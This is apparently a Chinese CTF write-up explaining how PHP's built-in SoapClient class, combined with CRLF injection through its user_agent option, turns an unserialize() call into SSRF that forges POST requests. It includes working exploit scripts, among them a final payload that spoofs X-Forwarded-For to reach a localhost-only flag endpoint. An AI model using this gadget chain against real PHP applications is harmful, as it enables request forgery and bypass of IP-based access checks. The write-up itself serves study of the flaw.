SoapClient反序列化SSRF组合拳

前言

有的时候我们会遇到只给了反序列化点,但是没有POP链的情况。可以尝试利用php内置类来进行反序列化。

魔术方法

魔术方法详细的讲解可以移步另一篇文章

https://cbatl.gitee.io/2020/04/22/PHPserialize/

  • 构造函数 __construct 对象被创建的时候调用
  • 析构函数 __destruct 对象被销毁的时候调用
  • 方法重载 __call 在对象中调用一个不可访问方法时调用
  • 方法重载 __callStatic 在静态上下文中调用一个不可访问方法时调用
  • 在给不可访问属性赋值时,__set() 会被调用。
  • 读取不可访问属性的值时,__get() 会被调用。
  • 当对不可访问属性调用 isset()empty() 时,__isset() 会被调用
  • 当对不可访问属性调用 unset() 时,__unset() 会被调用
  • __sleep()serialize() 函数执行之前调用
  • __wakeup()unserialize() 函数执行之前调用
  • __toString 在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists()判断也会触发)

CRLF攻击

什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a ,在HTTP当中headerbody之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。

SoapClient与反序列化

SoapClient::__call

https://www.php.net/manual/zh/soapclient.call.php

__call() 方法是对象中调用一个不可访问方法时调用

SOAP:简单对象访问协议

底层通讯协议为HTTP,传输数据格式为XML。

测试SoapClient类调用一个不存在的函数,会去调用__call()方法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:6888/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

nc监听6888端口

从结果我们可以看到SOAPAction参数可控,我们可以在SOAPAction处注入恶意的换行,这样一来我们POST提交的header就是可控的,我们就可以通过注入来执行我们想要执行的操作了。

尝试传入token,发现新的问题,Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据

在header里User-AgentContent-Type前面,通过user_agent同样可以注入CRLF,控制Content-Type的值

这个点是百度看到的,文章地址:https://zhuanlan.zhihu.com/p/80918004

尝试控制token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$target = 'http://127.0.0.1:6888';
$post_string = 'token=ly0n';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ly0n^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

成功控制

使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

题目分析

打开题目看到只有几行代码

1
2
3
4
5
6
7
8
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

还有另外一个flag.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

$xff经过了array_pop()的处理,这个函数的作用是弹出数组最后一个单元(出栈),当我刚开始只传入了一个127.0.0.1时发现并没有利用成功,也就是说,此时数组内的最后一个ip并不是127.0.0.1,于是传入多个127.0.0.1进行尝试,发现传入两个即可成功绕过。

在百度其原理是看到了Y4tacker师傅的解释

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
'X-Forwarded-For: 127.0.0.1,127.0.0.1',
'UM_distinctid:17b33d40a5785b-043dfa37ff7c9d-35607403-1fa400-17b33d40a58b9a'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ly0n^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

?>

通过vip传入参数,然后访问flag.txt即可!

参考链接:

https://y4tacker.blog.csdn.net/article/details/110521104

https://zhuanlan.zhihu.com/p/80918004

我的博客即将同步至腾讯云+社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=26gqzfgivusk8